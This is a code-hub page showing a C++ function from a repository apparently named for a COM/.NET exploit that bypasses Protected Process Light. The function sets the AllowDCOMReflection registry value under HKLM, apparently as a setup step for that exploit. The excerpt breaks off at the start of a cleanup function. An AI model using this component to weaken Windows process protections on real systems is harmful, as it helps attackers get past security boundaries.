MCPcopy Create free account
hub / github.com/T3nb3w/ComDotNetExploit / SetDcomReflectionEnabled

Method SetDcomReflectionEnabled

Bypass_COM_PPL/registry_utils.cpp:4–18  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

2#include "registry_utils.h"
3
4bool RegistryUtils::SetDcomReflectionEnabled(bool enable) {
5 HKEY hKey;
6 LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework";
7 LPCWSTR valueName = L"AllowDCOMReflection";
8
9 LONG result = RegCreateKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, nullptr,
10 REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr);
11 if (result != ERROR_SUCCESS) return false;
12
13 DWORD data = enable ? 1 : 0;
14 result = RegSetValueEx(hKey, valueName, 0, REG_DWORD,
15 reinterpret_cast<const BYTE*>(&data), sizeof(data));
16 RegCloseKey(hKey);
17 return result == ERROR_SUCCESS;
18}
19
20bool RegistryUtils::CleanDcomReflection() {
21 HKEY hKey;

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected